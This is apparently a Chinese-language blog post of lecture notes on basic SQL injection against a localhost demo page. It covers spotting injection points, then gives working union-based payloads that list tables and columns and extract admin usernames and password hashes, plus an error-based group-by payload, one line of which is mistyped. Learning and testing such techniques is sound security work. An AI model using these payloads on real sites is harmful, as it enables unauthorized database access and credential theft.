Web安全--Sql注入基礎

以下爲視頻筆記記錄:

SQL注入點的判斷:
如果+1,-1頁面有變化,就考慮聯合查詢,如果頁面沒有變化就考慮布爾類型,此時看是否有報錯,如果有報錯就是報錯注入,如果沒有報錯也沒有回顯的話就看是否有布爾類型的狀態,如果有布爾類型狀態就考慮布爾盲注,如果以上都沒有則看是否有延時注入

?id=35   +1/-1    
select * from tbName where id=35

?id=35'   判斷字符型還是數字型
select * from tbName where id=35'

?id=35 and 1=1    是否有布爾類型的狀態
?id=35 and 1=2 
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2

?id=35 and sleep(5)     是否有延時

四大基本手法:

  • 聯合查詢
  • 報錯注入
  • 布爾盲注
  • 延時注入

demo注入點:
http://localhost/show.php?id=33

注入點的判斷:
對連接http://localhost/show.php?id=33是否是注入點進行判斷

(1)變換id參數
當我們變換id 參數(33+1|33-1)的時候,發現同一個頁面,show.php頁面展現出不同的內容。也就是說,數據庫中的內容會回顯到網頁中來。
初步判定,id參數會帶入數據庫查詢,根據不同的id查詢數據庫,得到不同的新聞內容。
猜測後臺執行的sql語句大致爲:

select * from tbName where id=33

(2)單引號
?id=33’
執行的sql語句則變爲 select * from tbName where id=33'
頁面報錯,並且報錯信息會回顯到網頁中,報錯信息如下

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

錯誤信息提示單引號位置出現錯誤,那麼說明sql語句從頭到參數33都是正確的,也就是說,我們添加的單引號是多餘的
因此可以判定參數33前面沒有引號,則注入點可能是數字型注入
(3) and 1=1

?id=33  and 1=1 --+

可能得到的sql語句爲:

select * from tbName where id=33 and 1=1 --+

此時得到的頁面正常

(4)and 1=2

?id=33 and 1=2 --+

可能得到的sql語句爲:

select * from tbName where id=33 and 1=2 --+

頁面沒有輸出內容,並且數據庫沒有報錯,由於1=2是恆假式,也就是查詢條件where id=33 and 1=2 --+恆假,這樣的sql語句在數據庫中執行後,沒有返回結果。
反過來看,頁面沒有新聞內容,也就是sql語句查詢條件爲假,也就是說,我們寫的語句and 1=2 --+,起到了將查詢條件置爲假的作用
那麼,可以通過構造語句來控制sql語句的查詢結果,並且sql語句查詢條件真假性在頁面回顯中有體現。

(5)and sleep(5)

?id=33 and sleep(5)

注入sleep(5)語句,可以通過網絡時間線看到延時,說明sleep(5)祈禱了作用
綜上,此連接存在sql注入漏洞
----------------------------------------------聯合查詢------------------------------------
聯合查詢
由於數據庫中的內容會回顯到頁面中來,所以我們可以採用聯合查詢進行注入。
聯合查詢就是sql語法中的union select 語句,該語句會同時執行兩條select語句,生成兩張虛擬表,然後把查詢到的結果進行拼接。
select …union…select
由於虛擬表是二維結構,聯合查詢會“縱向”拼接,兩張虛擬的表
必要條件
(1)兩張虛擬的表具有相同的列數
(2)虛擬表對應的列的數據類型相同
判斷字段個數
可以使用order by語句來判斷當前select語句所查詢的虛擬表的列數,order by語句本意是按照某一列進行排序,在mysql中可以使用數字在代替具體的列名,比如order by 1就是按照第一列進行排序,如果mysql中沒有找到對應的列,就會報錯unknown column,我們可以依次增加數字,知道數據庫報錯

order by 1
order by 2
order by 3

得到當前虛擬表中字段個數爲3
也可以用聯合查詢的方法確定字段個數:

?id=33 union select 1
?id=33 union select 1,2
?id=33 union select 1,2,3

數據庫版本
?id=33 and 1=2 union select 1,version(),3 --+

數據庫中的表:

?id=33 and 1=2 union select 1,concat(table_name),3  from information_schema.tables where table_schema=database() --+

數據庫報錯,考慮用hex() 函數將結果由字符串轉爲數字

?id=33 and 1=2 union select 1,hex(concat(table_name)),3  from information_schema.tables where table_schema=database() --+

上面sql執行成功後會得到表名,此時用十六進制進行解碼

表中字段

?id=33 and 1=2 union select 1,hex(concat(column_name)),3  from information_schema.columns where table_schema=database() and table_name='users' --+

字段內容

?id=33 and 1=2 union select 1,hex(concat(username,':',password)),3  from users --+

上面sql執行成功後會得到後臺管理員帳號的密碼,但是密碼是以密文的方式保存在數據庫中的,所以這裏需要將得到的內容進行md5轉碼

-----------------------------------------報錯注入--------------------------------------------
在注入點的判斷過程中,發現數據庫中sql語句的報錯信息,會顯示在頁面中,因此可以進行報錯注入。
報錯注入的原理,就是在錯誤信息中執行sql語句,觸發報錯的方式很多,具體細節也不盡相同,此處建議直接背公式即可。
group by 重複建衝突

?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a --+

利用報錯信息,獲取數據庫中的信息

select concat(left(rand(),3,' ^ ',(select version()), ' ^ ') as x,count(*) from information_schema.tables group by x

語句中的as是給concat(left(rand(),3),’ ^ ',(select version()), ’ ^ ’ 起一個別名方便後面的聚合操作,此處as可以省略,直接寫x即可。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章